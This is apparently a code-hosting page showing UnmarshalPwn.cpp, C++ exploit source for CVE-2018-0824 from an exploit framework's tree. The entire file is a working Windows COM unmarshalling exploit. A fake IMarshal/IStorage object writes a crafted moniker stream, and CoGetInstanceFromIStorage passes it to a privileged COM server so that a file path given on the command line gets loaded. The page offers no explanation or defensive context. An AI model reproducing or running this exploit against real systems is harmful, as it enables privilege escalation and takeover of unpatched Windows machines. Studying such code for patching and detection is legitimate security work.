Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2018-0824/UnmarshalPwn.cpp
Views: 11779
// UnmarshalPwn.cpp : Defines the entry point for the console application.1//23#include "stdafx.h"4#include <stdio.h>5#include <tchar.h>6#include <string>7#include <comdef.h>8#include <winternl.h>9#include <ole2.h>10#include <Shlwapi.h>11#include <strsafe.h>12#include <vector>13#include <stdlib.h>1415#pragma comment(lib, "shlwapi.lib")1617GUID marshalInterceptorGUID = { 0xecabafcb,0x7f19,0x11d2,{ 0x97,0x8e,0x00,0x00,0xf8,0x75,0x7e,0x2a } };18GUID compositeMonikerGUID = { 0x00000309,0x0000,0x0000,{ 0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 } };19UINT header[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };20UINT monikers[] = { 0x02,0x00,0x00,0x00 };21GUID newMonikerGUID = { 0xecabafc6,0x7f19,0x11d2,{ 0x97,0x8e,0x00,0x00,0xf8,0x75,0x7e,0x2a } };22GUID random;23OLECHAR* randomString;2425static bstr_t IIDToBSTR(REFIID riid)26{27LPOLESTR str;28bstr_t ret = "Unknown";29if (SUCCEEDED(StringFromIID(riid, &str)))30{31ret = str;32CoTaskMemFree(str);33}34return ret;35}3637unsigned char const* GuidToByteArray(GUID const& g)38{39return reinterpret_cast<unsigned char const*>(&g);40}4142class FakeObject : public IMarshal, public IStorage43{44LONG m_lRefCount;45IStoragePtr _stg;46wchar_t *pFilePath = NULL;4748public:49//Constructor, Destructor50FakeObject(IStoragePtr storage, wchar_t *pValue) {51_stg = storage;52m_lRefCount = 1;53pFilePath = pValue;54}5556~FakeObject() {};5758//IUnknown59HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)60{61if (riid == __uuidof(IUnknown))62{63printf("Query for IUnknown\n");64*ppvObj = this;65}66else if (riid == __uuidof(IStorage))67{68printf("Query for IStorage\n");69*ppvObj = static_cast<IStorage*>(this);70}71else if (riid == __uuidof(IMarshal))72{73printf("Query for IMarshal\n");74*ppvObj = static_cast<IMarshal*>(this);75}76else77{78printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);79*ppvObj = NULL;80return E_NOINTERFACE;81}8283((IUnknown*)*ppvObj)->AddRef();84return NOERROR;85}8687ULONG __stdcall AddRef()88{89return InterlockedIncrement(&m_lRefCount);90}9192ULONG __stdcall Release()93{94ULONG ulCount = InterlockedDecrement(&m_lRefCount);9596if (0 == ulCount)97{98delete this;99}100101return ulCount;102}103104virtual HRESULT STDMETHODCALLTYPE CreateStream(105/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,106/* [in] */ DWORD grfMode,107/* [in] */ DWORD reserved1,108/* [in] */ DWORD reserved2,109/* [out] */ __RPC__deref_out_opt IStream **ppstm) {110printf("Call: CreateStream\n");111return _stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm);112113}114115virtual /* [local] */ HRESULT STDMETHODCALLTYPE OpenStream(116/* [annotation][string][in] */117_In_z_ const OLECHAR *pwcsName,118/* [annotation][unique][in] */119_Reserved_ void *reserved1,120/* [in] */ DWORD grfMode,121/* [in] */ DWORD reserved2,122/* [annotation][out] */123_Outptr_ IStream **ppstm) {124printf("Call: OpenStream\n");125_stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm);126return S_OK;127}128129virtual HRESULT STDMETHODCALLTYPE CreateStorage(130/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,131/* [in] */ DWORD grfMode,132/* [in] */ DWORD reserved1,133/* [in] */ DWORD reserved2,134/* [out] */ __RPC__deref_out_opt IStorage **ppstg) {135printf("Call: CreateStorage\n");136_stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg);137return S_OK;138}139140virtual HRESULT STDMETHODCALLTYPE OpenStorage(141/* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName,142/* [unique][in] */ __RPC__in_opt IStorage *pstgPriority,143/* [in] */ DWORD grfMode,144/* [unique][in] */ __RPC__deref_opt_in_opt SNB snbExclude,145/* [in] */ DWORD reserved,146/* [out] */ __RPC__deref_out_opt IStorage **ppstg) {147printf("Call: OpenStorage\n");148_stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg);149return S_OK;150}151152virtual /* [local] */ HRESULT STDMETHODCALLTYPE CopyTo(153/* [in] */ DWORD ciidExclude,154/* [annotation][size_is][unique][in] */155_In_reads_opt_(ciidExclude) const IID *rgiidExclude,156/* [annotation][unique][in] */157_In_opt_ SNB snbExclude,158/* [annotation][unique][in] */159_In_ IStorage *pstgDest) {160printf("Call: CopyTo\n");161_stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);162return S_OK;163}164165virtual HRESULT STDMETHODCALLTYPE MoveElementTo(166/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,167/* [unique][in] */ __RPC__in_opt IStorage *pstgDest,168/* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName,169/* [in] */ DWORD grfFlags) {170printf("Call: MoveElementTo\n");171_stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);172return S_OK;173}174175virtual HRESULT STDMETHODCALLTYPE Commit(176/* [in] */ DWORD grfCommitFlags) {177printf("Call: Commit\n");178_stg->Commit(grfCommitFlags);179return S_OK;180}181182virtual HRESULT STDMETHODCALLTYPE Revert(void) {183printf("Call: Revert\n");184return S_OK;185}186187virtual /* [local] */ HRESULT STDMETHODCALLTYPE EnumElements(188/* [annotation][in] */189_Reserved_ DWORD reserved1,190/* [annotation][size_is][unique][in] */191_Reserved_ void *reserved2,192/* [annotation][in] */193_Reserved_ DWORD reserved3,194/* [annotation][out] */195_Outptr_ IEnumSTATSTG **ppenum) {196printf("Call: EnumElements\n");197_stg->EnumElements(reserved1, reserved2, reserved3, ppenum);198return S_OK;199}200201virtual HRESULT STDMETHODCALLTYPE DestroyElement(202/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName) {203printf("Call: DestroyElement\n");204_stg->DestroyElement(pwcsName);205return S_OK;206}207208virtual HRESULT STDMETHODCALLTYPE RenameElement(209/* [string][in] */ __RPC__in_string const OLECHAR *pwcsOldName,210/* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName) {211printf("Call: RenameElement\n");212return S_OK;213214};215216virtual HRESULT STDMETHODCALLTYPE SetElementTimes(217/* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName,218/* [unique][in] */ __RPC__in_opt const FILETIME *pctime,219/* [unique][in] */ __RPC__in_opt const FILETIME *patime,220/* [unique][in] */ __RPC__in_opt const FILETIME *pmtime) {221printf("Call: SetElementTimes\n");222return S_OK;223}224225virtual HRESULT STDMETHODCALLTYPE SetClass(226/* [in] */ __RPC__in REFCLSID clsid) {227printf("Call: SetClass\n");228return S_OK;229}230231virtual HRESULT STDMETHODCALLTYPE SetStateBits(232/* [in] */ DWORD grfStateBits,233/* [in] */ DWORD grfMask) {234printf("Call: SetStateBits\n");235return S_OK;236}237238virtual HRESULT STDMETHODCALLTYPE Stat(239/* [out] */ __RPC__out STATSTG *pstatstg,240/* [in] */ DWORD grfStatFlag) {241printf("Call: Stat\n");242HRESULT hr = 0;243size_t len = 0;244245len = wcsnlen_s(randomString, MAX_PATH) + 1;246PWCHAR s = (PWCHAR)CoTaskMemAlloc(len * sizeof(WCHAR));247wcscpy_s(s, len, randomString);248pstatstg[0].pwcsName = s;249hr = _stg->Stat(pstatstg, grfStatFlag);250printf("End: Stat\n");251return S_OK;252}253254virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(255/* [annotation][in] */256_In_ REFIID riid,257/* [annotation][unique][in] */258_In_opt_ void *pv,259/* [annotation][in] */260_In_ DWORD dwDestContext,261/* [annotation][unique][in] */262_Reserved_ void *pvDestContext,263/* [annotation][in] */264_In_ DWORD mshlflags,265/* [annotation][out] */266_Out_ CLSID *pCid)267{268printf("Call: GetUnmarshalClass\n");269*pCid = marshalInterceptorGUID; // ECABAFCB-7F19-11D2-978E-0000F8757E2A270return S_OK;271}272273virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(274/* [annotation][in] */275_In_ REFIID riid,276/* [annotation][unique][in] */277_In_opt_ void *pv,278/* [annotation][in] */279_In_ DWORD dwDestContext,280/* [annotation][unique][in] */281_Reserved_ void *pvDestContext,282/* [annotation][in] */283_In_ DWORD mshlflags,284/* [annotation][out] */285_Out_ DWORD *pSize)286{287printf("Call: GetMarshalSizeMax\n");288*pSize = 1024;289return S_OK;290}291292virtual HRESULT STDMETHODCALLTYPE MarshalInterface(293/* [annotation][unique][in] */294_In_ IStream *pStm,295/* [annotation][in] */296_In_ REFIID riid,297/* [annotation][unique][in] */298_In_opt_ void *pv,299/* [annotation][in] */300_In_ DWORD dwDestContext,301/* [annotation][unique][in] */302_Reserved_ void *pvDestContext,303/* [annotation][in] */304_In_ DWORD mshlflags)305{306printf("Call: MarshalInterface\n");307ULONG written = 0;308HRESULT hr = 0;309pStm->Write(header, 12, &written);310pStm->Write(GuidToByteArray(marshalInterceptorGUID), 16, &written);311312IMonikerPtr fileMoniker;313IMonikerPtr newMoniker;314IBindCtxPtr context;315316pStm->Write(monikers, 4, &written);317pStm->Write(GuidToByteArray(compositeMonikerGUID), 16, &written);318pStm->Write(monikers, 4, &written);319hr = CreateBindCtx(0, &context);320hr = CreateFileMoniker(pFilePath, &fileMoniker);321hr = CoCreateInstance(newMonikerGUID, NULL, CLSCTX_ALL, IID_IUnknown, (LPVOID*)&newMoniker);322hr = OleSaveToStream(fileMoniker, pStm);323hr = OleSaveToStream(newMoniker, pStm);324return S_OK;325}326327virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(328/* [annotation][unique][in] */329_In_ IStream *pStm,330/* [annotation][in] */331_In_ REFIID riid,332/* [annotation][out] */333_Outptr_ void **ppv)334{335printf("Call: UnmarshalInterface\n");336return E_NOTIMPL;337}338339virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(340/* [annotation][unique][in] */341_In_ IStream *pStm)342{343printf("Call: ReleaseMarshalData\n");344return S_OK;345}346347virtual HRESULT STDMETHODCALLTYPE DisconnectObject(348/* [annotation][in] */349_In_ DWORD dwReserved)350{351printf("Call: DisconnectObject\n");352return S_OK;353}354};355356static HRESULT Check(HRESULT hr)357{358if (FAILED(hr))359{360throw _com_error(hr);361}362return hr;363}364365void Exploit(wchar_t *pValue)366{367HRESULT hr = 0;368IStoragePtr storage = nullptr;369MULTI_QI* qi = new MULTI_QI[1];370371GUID target_GUID = { 0x7d096c5f,0xac08,0x4f1f,{ 0xbe,0xb7,0x5c,0x22,0xc5,0x17,0xce,0x39 } };372hr = CoCreateGuid(&random);373374StringFromCLSID(random, &randomString);375StgCreateDocfile(randomString, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &storage);376377IStoragePtr pFake = new FakeObject(storage, pValue);378379qi[0].pIID = &IID_IUnknown;380qi[0].pItf = NULL;381qi[0].hr = 0;382383CoGetInstanceFromIStorage(NULL, &target_GUID, NULL, CLSCTX_LOCAL_SERVER, pFake, 1, qi);384385}386387class CoInit388{389public:390CoInit()391{392Check(CoInitialize(nullptr));393Check(CoInitializeSecurity(nullptr, -1, nullptr, nullptr, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, NULL, nullptr));394}395396~CoInit()397{398CoUninitialize();399}400};401402403int wmain(int argc, wchar_t** argv)404{405try406{407CoInit ci;408409Exploit(argv[1]);410411}412catch (const _com_error& err)413{414printf("Error: %ls\n", err.ErrorMessage());415}416417return 0;418}419420421